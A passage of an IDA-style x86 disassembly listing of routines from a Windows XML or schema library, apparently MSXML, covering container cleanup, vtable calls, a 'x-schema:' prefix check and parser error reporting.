test eax, eax
lea edi, [esi+0Ch]
jz short loc_69B8ADD4
mov ebx, eax
loc_69B8ADBE: ; CODE XREF: sub_69B8AD6D+65j
mov eax, [edi]
test eax, eax
jz short loc_69B8ADCE
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
and dword ptr [edi+4], 0
loc_69B8ADCE: ; CODE XREF: sub_69B8AD6D+55j
add edi, 8
dec ebx
jnz short loc_69B8ADBE
loc_69B8ADD4: ; CODE XREF: sub_69B8AD6D+4Dj
mov eax, [ebp+var_4]
push esi
add eax, 4
push eax
call sub_69B17320
pop edi
pop esi
pop ebx
locret_69B8ADE4: ; CODE XREF: sub_69B8AD6D+13j
leave
retn 4
sub_69B8AD6D endp
; =============== S U B R O U T I N E =======================================
sub_69B8ADE8 proc near ; DATA XREF: .text:69B148CCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B8ADF8
retn 8
sub_69B8ADE8 endp
; =============== S U B R O U T I N E =======================================
sub_69B8ADF8 proc near ; CODE XREF: sub_69B8ADE8+8p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push dword ptr [edi]
mov esi, ecx
push esi
call sub_69B17320
mov eax, [edi+4]
mov ecx, [esi+8]
mov [esi+4], eax
xor ecx, [edi+8]
mov eax, 7FFFFFFFh
and ecx, eax
xor [esi+8], ecx
mov ecx, [esi+8]
mov edx, [edi+8]
xor edx, ecx
and edx, eax
xor edx, [edi+8]
pop edi
mov [esi+8], edx
mov eax, esi
pop esi
retn 4
sub_69B8ADF8 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AE35 proc near ; DATA XREF: .text:69B1488Co
; .text:69B16E3Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
push dword ptr [esi]
mov edi, [esp+0Ch+arg_0]
push edi
call sub_69B17320
mov eax, [esi+4]
mov [edi+4], eax
pop edi
pop esi
retn 8
sub_69B8AE35 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AE52 proc near ; CODE XREF: sub_69B3C198+9p
; sub_69B3C214+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, ecx
mov eax, [edi+4]
test eax, eax
jz short loc_69B8AEB4
mov ecx, [edi+8]
cmp ecx, 0FFFFFFFFh
mov esi, [eax+8]
mov ebx, [esp+0Ch+arg_0]
jz short loc_69B8AE89
mov edx, ecx
imul edx, ebx
cmp ecx, esi
lea eax, [edx+eax+0Ch]
jge short loc_69B8AE85
cmp dword ptr [eax], 0
jnz short loc_69B8AE85
inc ecx
mov [edi+8], ecx
jmp short loc_69B8AECB
; ---------------------------------------------------------------------------
loc_69B8AE85: ; CODE XREF: sub_69B8AE52+26j
; sub_69B8AE52+2Bj
or dword ptr [edi+8], 0FFFFFFFFh
loc_69B8AE89: ; CODE XREF: sub_69B8AE52+19j
push 0
push 0
push ebx
mov ecx, edi
call sub_69B8AB3E
test eax, eax
jnz short loc_69B8AECB
lea eax, [esi+esi]
push eax
push ebx
mov ecx, edi
call sub_69B8AC6C
lea ecx, [esi+1]
imul esi, ebx
mov [edi+8], ecx
lea eax, [esi+eax+0Ch]
jmp short loc_69B8AECB
; ---------------------------------------------------------------------------
loc_69B8AEB4: ; CODE XREF: sub_69B8AE52+Aj
push 8
push [esp+10h+arg_0]
mov ecx, edi
call sub_69B8AC6C
mov dword ptr [edi+8], 1
add eax, 0Ch
loc_69B8AECB: ; CODE XREF: sub_69B8AE52+31j
; sub_69B8AE52+45j ...
mov ecx, [esp+0Ch+arg_4]
mov [eax], ecx
inc dword ptr [edi+0Ch]
pop edi
pop esi
pop ebx
retn 8
sub_69B8AE52 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AEDA proc near ; DATA XREF: .text:69B148C4o
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B8AEF9
push ebx
mov ebx, eax
loc_69B8AEEB: ; CODE XREF: sub_69B8AEDA+1Cj
mov ecx, edi
call sub_69B8AF02
add edi, 0Ch
dec ebx
jnz short loc_69B8AEEB
pop ebx
loc_69B8AEF9: ; CODE XREF: sub_69B8AEDA+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B8AEDA endp
; =============== S U B R O U T I N E =======================================
sub_69B8AF02 proc near ; CODE XREF: sub_69B8AEDA+13p
push esi
mov esi, ecx
cmp dword ptr [esi+4], 0
jz short loc_69B8AF1D
mov eax, [esi+4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov eax, [esi+4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8AF1D: ; CODE XREF: sub_69B8AF02+7j
push esi
call sub_69B17230
pop esi
retn
sub_69B8AF02 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AF25 proc near ; DATA XREF: .text:69B14884o
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B8AF43
push ebx
mov ebx, eax
loc_69B8AF36: ; CODE XREF: sub_69B8AF25+1Bj
push edi
call sub_69B17230
add edi, 8
dec ebx
jnz short loc_69B8AF36
pop ebx
loc_69B8AF43: ; CODE XREF: sub_69B8AF25+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B8AF25 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AF4C proc near ; CODE XREF: sub_69B8AF80+6p
; sub_69B8BD72+8Dp
arg_0 = dword ptr 4
mov eax, ds:dword_69B27820
mov edx, [esp+arg_0]
cmp [edx+8], eax
jl short loc_69B8AF7B
push esi
mov esi, [edx+0Ch]
push edi
lea ecx, [eax+eax]
mov edi, offset aXSchema ; "x-schema:"
xor eax, eax
repe cmpsb
pop edi
pop esi
jz short loc_69B8AF74
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_69B8AF74: ; CODE XREF: sub_69B8AF4C+21j
test eax, eax
jnz short loc_69B8AF7B
inc eax
jmp short locret_69B8AF7D
; ---------------------------------------------------------------------------
loc_69B8AF7B: ; CODE XREF: sub_69B8AF4C+Cj
; sub_69B8AF4C+2Aj
xor eax, eax
locret_69B8AF7D: ; CODE XREF: sub_69B8AF4C+2Dj
retn 4
sub_69B8AF4C endp
; =============== S U B R O U T I N E =======================================
sub_69B8AF80 proc near ; CODE XREF: sub_69B8B9D9+30p
; sub_69B8BD72+71p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_69B8AF4C
test al, al
jz short loc_69B8AF9E
mov eax, [esi+0Ch]
cmp word ptr [eax+12h], 23h
jnz short loc_69B8AF9E
xor eax, eax
inc eax
jmp short loc_69B8AFA0
; ---------------------------------------------------------------------------
loc_69B8AF9E: ; CODE XREF: sub_69B8AF80+Dj
; sub_69B8AF80+17j
xor eax, eax
loc_69B8AFA0: ; CODE XREF: sub_69B8AF80+1Cj
pop esi
retn 4
sub_69B8AF80 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AFA4 proc near ; CODE XREF: sub_69B8B8E1+3Ep
; sub_69B8C6DE+31p
mov eax, ecx
mov ecx, [eax+0Ch]
test ecx, ecx
jz short loc_69B8AFB2
mov eax, [ecx]
jmp dword ptr [eax+2Ch]
; ---------------------------------------------------------------------------
loc_69B8AFB2: ; CODE XREF: sub_69B8AFA4+7j
mov ecx, [eax+8]
mov eax, [ecx]
jmp dword ptr [eax+2Ch]
sub_69B8AFA4 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AFBA proc near ; CODE XREF: sub_69B486D2+2Bp
; sub_69B48AA4+33p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
cmp [esp+arg_4], 0
lea eax, [ecx+40h]
jnz short loc_69B8AFC7
lea eax, [ecx+44h]
loc_69B8AFC7: ; CODE XREF: sub_69B8AFBA+8j
mov eax, [eax]
test eax, eax
jz short loc_69B8AFDC
push [esp+arg_0]
mov ecx, eax
call sub_69B1980A
test eax, eax
jnz short locret_69B8AFDE
loc_69B8AFDC: ; CODE XREF: sub_69B8AFBA+11j
xor eax, eax
locret_69B8AFDE: ; CODE XREF: sub_69B8AFBA+20j
retn 8
sub_69B8AFBA endp
; =============== S U B R O U T I N E =======================================
sub_69B8AFE1 proc near ; CODE XREF: sub_69B8ECE6+ABp
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
lea eax, [ecx+40h]
jnz short loc_69B8AFEE
lea eax, [ecx+44h]
loc_69B8AFEE: ; CODE XREF: sub_69B8AFE1+8j
mov eax, [eax]
test eax, eax
jnz short loc_69B8B004
call sub_69B2FAF8
lea ecx, [eax+8]
neg eax
sbb eax, eax
and eax, ecx
jmp short locret_69B8B00C
; ---------------------------------------------------------------------------
loc_69B8B004: ; CODE XREF: sub_69B8AFE1+11j
push 1
push eax
call sub_69B3156E
locret_69B8B00C: ; CODE XREF: sub_69B8AFE1+21j
retn 4
sub_69B8AFE1 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B00F proc near ; CODE XREF: sub_69B3E780+16p
; sub_69B481EB+36p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esi+54h]
test ecx, ecx
jnz short loc_69B8B01D
xor eax, eax
jmp short loc_69B8B02F
; ---------------------------------------------------------------------------
loc_69B8B01D: ; CODE XREF: sub_69B8B00F+8j
push [esp+4+arg_0]
call sub_69B1980A
mov ecx, [esi+34h]
push eax
call sub_69B3EB79
loc_69B8B02F: ; CODE XREF: sub_69B8B00F+Cj
pop esi
retn 4
sub_69B8B00F endp
; =============== S U B R O U T I N E =======================================
sub_69B8B033 proc near ; CODE XREF: sub_69B14EAC+116p
; sub_69B4AE80+3Dp ...
arg_0 = dword ptr 4
mov ecx, [ecx+54h]
test ecx, ecx
jnz short loc_69B8B03E
xor al, al
jmp short locret_69B8B04C
; ---------------------------------------------------------------------------
loc_69B8B03E: ; CODE XREF: sub_69B8B033+5j
push [esp+arg_0]
call sub_69B17DC6
test eax, eax
setnz al
locret_69B8B04C: ; CODE XREF: sub_69B8B033+9j
retn 4
sub_69B8B033 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B04F proc near ; CODE XREF: sub_69B4A077+22p
arg_0 = dword ptr 4
mov ecx, [ecx+48h]
test ecx, ecx
jz short loc_69B8B068
push [esp+arg_0]
call sub_69B1980A
test eax, eax
jz short loc_69B8B068
mov eax, [eax+10h]
jmp short locret_69B8B06A
; ---------------------------------------------------------------------------
loc_69B8B068: ; CODE XREF: sub_69B8B04F+5j
; sub_69B8B04F+12j
xor eax, eax
locret_69B8B06A: ; CODE XREF: sub_69B8B04F+17j
retn 4
sub_69B8B04F endp
; =============== S U B R O U T I N E =======================================
sub_69B8B06D proc near ; CODE XREF: sub_69B49C1F+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [ecx+48h]
test ecx, ecx
jz short loc_69B8B0A1
push [esp+arg_0]
call sub_69B1980A
test eax, eax
jz short loc_69B8B0A1
cmp dword ptr [eax+10h], 0
jz short loc_69B8B0A1
push [esp+arg_4]
mov ecx, eax
call sub_69B8C678
test eax, eax
jz short loc_69B8B0A1
cmp byte ptr [eax+31h], 0
jnz short loc_69B8B0A1
mov eax, [eax+10h]
jmp short locret_69B8B0A3
; ---------------------------------------------------------------------------
loc_69B8B0A1: ; CODE XREF: sub_69B8B06D+5j
; sub_69B8B06D+12j ...
xor eax, eax
locret_69B8B0A3: ; CODE XREF: sub_69B8B06D+32j
retn 8
sub_69B8B06D endp
; =============== S U B R O U T I N E =======================================
sub_69B8B0A6 proc near ; CODE XREF: sub_69B49CDF+9Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [ecx+48h]
test ecx, ecx
jz short loc_69B8B0D6
push [esp+arg_0]
call sub_69B1980A
test eax, eax
jz short loc_69B8B0D6
mov eax, [eax+10h]
test eax, eax
jz short loc_69B8B0D6
push 0
push 0Fh
push [esp+8+arg_8]
mov ecx, eax
push [esp+0Ch+arg_4]
call sub_69B49CDF
jmp short locret_69B8B0D8
; ---------------------------------------------------------------------------
loc_69B8B0D6: ; CODE XREF: sub_69B8B0A6+5j
; sub_69B8B0A6+12j ...
xor eax, eax
locret_69B8B0D8: ; CODE XREF: sub_69B8B0A6+2Ej
retn 0Ch
sub_69B8B0A6 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B0DB proc near ; CODE XREF: sub_69B8BD72+2Cp
arg_0 = dword ptr 4
mov ecx, [ecx+60h]
test ecx, ecx
push esi
jz short loc_69B8B10E
cmp [esp+4+arg_0], 0
jz short loc_69B8B10E
push [esp+4+arg_0]
call sub_69B1980A
mov esi, eax
test esi, esi
jz short loc_69B8B10E
push esi
call sub_69B3D1F0
mov ecx, eax
call sub_69B1885E
test al, al
jz short loc_69B8B10E
mov eax, esi
jmp short loc_69B8B110
; ---------------------------------------------------------------------------
loc_69B8B10E: ; CODE XREF: sub_69B8B0DB+6j
; sub_69B8B0DB+Dj ...
xor eax, eax
loc_69B8B110: ; CODE XREF: sub_69B8B0DB+31j
pop esi
retn 4
sub_69B8B0DB endp
; =============== S U B R O U T I N E =======================================
sub_69B8B114 proc near ; CODE XREF: sub_69B4936A+74p
; sub_69B5B263+68p ...
mov ecx, [ecx+64h]
test ecx, ecx
jnz sub_69B1980A
xor eax, eax
retn 4
sub_69B8B114 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8B124 proc near ; CODE XREF: sub_69B8B84D+57p
; sub_69B8B84D+88p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 10h
mov al, byte ptr [ebp+arg_C]
mov [ebp+var_10], al
mov eax, [ebp+arg_10]
push esi
mov [ebp+var_C], eax
mov eax, [ebp+arg_14]
push 1
push [ebp+arg_0]
mov [ebp+var_8], eax
mov eax, [ebp+arg_18]
mov [ebp+var_4], eax
call sub_69B3156E
mov esi, eax
jmp short loc_69B8B16B
; ---------------------------------------------------------------------------
loc_69B8B151: ; CODE XREF: sub_69B8B124+50j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov [ebp+arg_C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+arg_C]
push eax
push 0
push [ebp+arg_4]
call [ebp+arg_8]
loc_69B8B16B: ; CODE XREF: sub_69B8B124+2Bj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jnz short loc_69B8B151
pop esi
leave
retn 1Ch
sub_69B8B124 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8B17B proc near ; CODE XREF: sub_69B8B17B+82p
; sub_69B8D85E+31p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [ecx+34h]
mov [ebp+var_4], ecx
mov ecx, esi
call sub_69B8C56F
and [ebp+arg_0], 0
test byte ptr [esi+30h], 4
mov ebx, eax
jz short loc_69B8B1CA
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+3Ch]
mov edx, [eax]
push 0
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
mov edi, 0C00CE003h
push edi
call sub_69B2F944
add esp, 0Ch
push dword ptr [esi+28h]
push dword ptr [esi+24h]
push eax
push edi
call sub_69B2E901
loc_69B8B1CA: ; CODE XREF: sub_69B8B17B+21j
or dword ptr [esi+30h], 4
lea eax, [ebp+arg_0]
push eax
mov ecx, ebx
call sub_69B48DC1
jmp short loc_69B8B20D
; ---------------------------------------------------------------------------
loc_69B8B1DB: ; CODE XREF: sub_69B8B17B+96j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
cmp eax, 0Bh
jnz short loc_69B8B202
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax+38h]
mov ecx, [ebp+var_4]
push eax
call sub_69B8AFBA
mov ecx, [ebp+var_4]
push eax
call sub_69B8B17B
loc_69B8B202: ; CODE XREF: sub_69B8B17B+6Aj
lea eax, [ebp+arg_0]
push eax
mov ecx, ebx
call sub_69B47DCC
loc_69B8B20D: ; CODE XREF: sub_69B8B17B+5Ej
mov edi, eax
test edi, edi
jnz short loc_69B8B1DB
and dword ptr [esi+30h], 0FFFFFFFBh
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B8B17B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8B21E proc near ; CODE XREF: sub_69B4E634+6Dp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, [edi]
mov [ebp+var_4], ecx
mov ecx, edi
call dword ptr [eax+0B4h]
mov [ebp+arg_0], eax
lea eax, [ebp+var_8]
push eax
mov ecx, edi
call sub_69B48DC1
mov esi, eax
test esi, esi
jz short loc_69B8B2A2
push ebx
mov ebx, 0C00CE002h
loc_69B8B24F: ; CODE XREF: sub_69B8B21E+81j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp eax, 0Bh
jnz short loc_69B8B290
cmp [ebp+arg_0], 0
jz short loc_69B8B290
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov esi, eax
test esi, esi
jz short loc_69B8B290
mov ecx, [ebp+var_4]
push 0
push esi
call sub_69B8AFBA
test eax, eax
jnz short loc_69B8B290
push eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+2Ch]
push eax
push ebx
push ebx
call sub_69B2E9D0
add esp, 10h
loc_69B8B290: ; CODE XREF: sub_69B8B21E+3Bj
; sub_69B8B21E+41j ...
lea eax, [ebp+var_8]
push eax
mov ecx, edi
call sub_69B47DCC
mov esi, eax
test esi, esi
jnz short loc_69B8B24F
pop ebx
loc_69B8B2A2: ; CODE XREF: sub_69B8B21E+29j
pop edi
pop esi
leave
retn 4
sub_69B8B21E endp
; =============== S U B R O U T I N E =======================================
sub_69B8B2A8 proc near ; CODE XREF: sub_69B8C4AA+54p
; sub_69B8D25F+D5p
arg_0 = dword ptr 4
cmp byte ptr [ecx+2Fh], 0
jnz short locret_69B8B2D3
mov ecx, [ecx+5Ch]
test ecx, ecx
jz short locret_69B8B2D3
push [esp+arg_0]
call sub_69B4D511
test al, al
jnz short locret_69B8B2D3
mov eax, 0C00CE013h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
locret_69B8B2D3: ; CODE XREF: sub_69B8B2A8+4j
; sub_69B8B2A8+Bj ...
retn 4
sub_69B8B2A8 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B2D6 proc near ; CODE XREF: sub_69B8C084+293p
; sub_69B8D56F+CEp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jz short loc_69B8B313
cmp [esp+4+arg_4], 0
jz short loc_69B8B2FC
mov ecx, [eax+2Ch]
call sub_69B8F756
test al, al
jnz short loc_69B8B2FC
mov eax, 0C00CE011h
jmp short loc_69B8B307
; ---------------------------------------------------------------------------
loc_69B8B2FC: ; CODE XREF: sub_69B8B2D6+11j
; sub_69B8B2D6+1Dj
cmp byte ptr [esi+14h], 0
jnz short loc_69B8B313
mov eax, 0C00CE012h
loc_69B8B307: ; CODE XREF: sub_69B8B2D6+24j
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B8B313: ; CODE XREF: sub_69B8B2D6+Aj
; sub_69B8B2D6+2Aj
pop esi
retn 8
sub_69B8B2D6 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B317 proc near ; CODE XREF: sub_69B8BC27+14p
; sub_69B8BCA2+21p
arg_0 = dword ptr 4
mov ecx, [ecx+48h]
test ecx, ecx
jnz short loc_69B8B322
xor eax, eax
jmp short locret_69B8B32B
; ---------------------------------------------------------------------------
loc_69B8B322: ; CODE XREF: sub_69B8B317+5j
push [esp+arg_0]
call sub_69B1980A
locret_69B8B32B: ; CODE XREF: sub_69B8B317+9j
retn 8
sub_69B8B317 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B32E proc near ; DATA XREF: .text:69B16DB8o
push esi
mov esi, ecx
push 0
lea eax, [esi+8]
push eax
call sub_69B17320
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+1Ch]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B8B32E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8B35A proc near ; CODE XREF: sub_69B8B602+Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov eax, [esi+20h]
xor ebx, ebx
sub eax, ebx
jz short loc_69B8B38D
dec eax
jnz short loc_69B8B3A3
mov ecx, [ebp+arg_0]
mov ecx, [ecx+50h]
cmp ecx, ebx
mov eax, [esi+0Ch]
jnz short loc_69B8B37E
xor eax, eax
jmp short loc_69B8B384
; ---------------------------------------------------------------------------
loc_69B8B37E: ; CODE XREF: sub_69B8B35A+1Ej
push eax
call sub_69B1980A
loc_69B8B384: ; CODE XREF: sub_69B8B35A+22j
mov [ebp+arg_0], 0C00CE021h
jmp short loc_69B8B39F
; ---------------------------------------------------------------------------
loc_69B8B38D: ; CODE XREF: sub_69B8B35A+Ej
push dword ptr [esi+0Ch]
mov ecx, [ebp+arg_0]
call sub_69B8B00F
mov [ebp+arg_0], 0C00CE00Eh
loc_69B8B39F: ; CODE XREF: sub_69B8B35A+31j
cmp eax, ebx
jnz short loc_69B8B401
loc_69B8B3A3: ; CODE XREF: sub_69B8B35A+11j
mov ecx, [esi+0Ch]
mov eax, [ecx]
push edi
mov edi, [esi+8]
push ebx
call dword ptr [eax+2Ch]
push eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
push [ebp+arg_0]
call sub_69B2F944
add esp, 10h
cmp [esi+18h], bl
mov edi, eax
jz short loc_69B8B3E3
push ebx
push 0C00CE00Fh
call sub_69B2F944
push ebx
push eax
push edi
call sub_69B2F2CA
add esp, 14h
mov edi, eax
loc_69B8B3E3: ; CODE XREF: sub_69B8B35A+6Fj
mov eax, [esi+10h]
cmp eax, ebx
jle short loc_69B8B3F7
push dword ptr [esi+14h]
push eax
push edi
push [ebp+arg_0]
call sub_69B2E901
loc_69B8B3F7: ; CODE XREF: sub_69B8B35A+8Ej
push [ebp+arg_0]
push edi
call sub_69B2E8A2
pop edi
loc_69B8B401: ; CODE XREF: sub_69B8B35A+47j
pop esi
pop ebx
pop ebp
retn 4
sub_69B8B35A endp
; =============== S U B R O U T I N E =======================================
sub_69B8B407 proc near ; DATA XREF: .text:off_69B16E34o
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
lea eax, [edi+edi*2]
lea eax, ds:10h[eax*4]
push eax
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], edi
call sub_69B19118
pop edi
mov dword ptr [esi], offset off_69B14890
mov eax, esi
pop esi
retn 4
sub_69B8B407 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B436 proc near ; DATA XREF: .text:off_69B16E38o
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
lea eax, ds:10h[edi*8]
push eax
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], edi
call sub_69B19118
pop edi
mov dword ptr [esi], offset off_69B14850
mov eax, esi
pop esi
retn 4
sub_69B8B436 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B462 proc near ; CODE XREF: sub_69B8E980+22Ap
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test byte ptr [edi+30h], 1
lea esi, [ecx+40h]
jnz short loc_69B8B474
lea esi, [ecx+44h]
loc_69B8B474: ; CODE XREF: sub_69B8B462+Dj
cmp dword ptr [esi], 0
jnz short loc_69B8B495
call sub_69B17275
neg eax
sbb al, al
inc al
push eax
push 1
push 0Bh
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B8B495: ; CODE XREF: sub_69B8B462+15j
mov ecx, [esi]
push edi
push dword ptr [edi+8]
call sub_69B3182D
pop edi
pop esi
retn 4
sub_69B8B462 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B4A5 proc near ; CODE XREF: sub_69B8C45B+21p
; sub_69B8DCB5+66p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
mov eax, [esp+arg_0]
xor edx, edx
cmp eax, edx
push esi
jnz short loc_69B8B4B7
mov esi, 0C00CE002h
jmp short loc_69B8B4D3
; ---------------------------------------------------------------------------
loc_69B8B4B7: ; CODE XREF: sub_69B8B4A5+9j
cmp [eax+18h], edx
jnz short loc_69B8B4C9
cmp [esp+4+arg_8], dl
jz short loc_69B8B4C9
mov esi, 0C00CE007h
jmp short loc_69B8B4D3
; ---------------------------------------------------------------------------
loc_69B8B4C9: ; CODE XREF: sub_69B8B4A5+15j
; sub_69B8B4A5+1Bj
cmp [eax+20h], edx
jz short loc_69B8B4EB
mov esi, 0C00CE006h
loc_69B8B4D3: ; CODE XREF: sub_69B8B4A5+10j
; sub_69B8B4A5+22j
mov eax, [esp+4+arg_4]
mov ecx, [eax+14h]
mov eax, [ecx]
push edx
call dword ptr [eax+2Ch]
push eax
push esi
push esi
call sub_69B2E9D0
add esp, 10h
loc_69B8B4EB: ; CODE XREF: sub_69B8B4A5+27j
pop esi
retn 0Ch
sub_69B8B4A5 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B4EF proc near ; CODE XREF: sub_69B5B197+50p
; sub_69B8C881+10Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi+48h]
cmp dword ptr [esi], 0
jnz short loc_69B8B518
call sub_69B17275
neg eax
sbb al, al
inc al
push eax
push 1
push 10h
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B8B518: ; CODE XREF: sub_69B8B4EF+Bj
mov ebx, [esp+0Ch+arg_4]
test ebx, ebx
jnz short loc_69B8B527
mov eax, [esp+0Ch+arg_0]
mov ebx, [eax+8]
loc_69B8B527: ; CODE XREF: sub_69B8B4EF+2Fj
mov ecx, [edi+4Ch]
test ecx, ecx
jz short loc_69B8B534
push ebx
call sub_69B17DC6
loc_69B8B534: ; CODE XREF: sub_69B8B4EF+3Dj
push [esp+0Ch+arg_0]
mov ecx, [esi]
push ebx
call sub_69B3182D
pop edi
pop esi
pop ebx
retn 8
sub_69B8B4EF endp
; =============== S U B R O U T I N E =======================================
sub_69B8B546 proc near ; CODE XREF: sub_69B8E980+97p
arg_0 = dword ptr 4
push esi
lea esi, [ecx+50h]
cmp dword ptr [esi], 0
jnz short loc_69B8B56B
call sub_69B17275
neg eax
sbb al, al
inc al
push eax
push 1
push 0Bh
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B8B56B: ; CODE XREF: sub_69B8B546+7j
mov eax, [esp+4+arg_0]
mov ecx, [esi]
push eax
push dword ptr [eax+8]
call sub_69B3182D
pop esi
retn 4
sub_69B8B546 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B57E proc near ; CODE XREF: sub_69B481EB+68p
; sub_69B49816+B7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
lea esi, [ecx+54h]
cmp dword ptr [esi], 0
jnz short loc_69B8B5A3
call sub_69B17275
neg eax
sbb al, al
inc al
push eax
push 0
push 0Bh
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B8B5A3: ; CODE XREF: sub_69B8B57E+7j
mov ecx, [esp+4+arg_4]
mov eax, [ecx]
mov esi, [esi]
call dword ptr [eax+0ECh]
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_69B3182D
pop esi
retn 8
sub_69B8B57E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8B5C1 proc near ; CODE XREF: sub_69B4E634+2B1p
; sub_69B8C997+B2p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push esi
push 24h
mov esi, ecx
call sub_69B17EF3
test eax, eax
jz short loc_69B8B5F1
push [ebp+arg_14]
mov edx, [esi+58h]
push [ebp+arg_10]
mov ecx, eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push edx
call sub_69B16D24
jmp short loc_69B8B5F3
; ---------------------------------------------------------------------------
loc_69B8B5F1: ; CODE XREF: sub_69B8B5C1+Fj
xor eax, eax
loc_69B8B5F3: ; CODE XREF: sub_69B8B5C1+2Ej
push eax
add esi, 58h
push esi
call sub_69B17320
pop esi
pop ebp
retn 18h
sub_69B8B5C1 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B602 proc near ; CODE XREF: sub_69B4E45A+BEp
; sub_69B8C4AA+6Dp ...
push ebx
push esi
push edi
mov edi, ecx
lea ebx, [edi+58h]
mov esi, [ebx]
jmp short loc_69B8B623
; ---------------------------------------------------------------------------
loc_69B8B60E: ; CODE XREF: sub_69B8B602+23j
push edi
mov ecx, esi
call sub_69B8B35A
lea eax, [esi+1Ch]
mov esi, [eax]
push 0
push eax
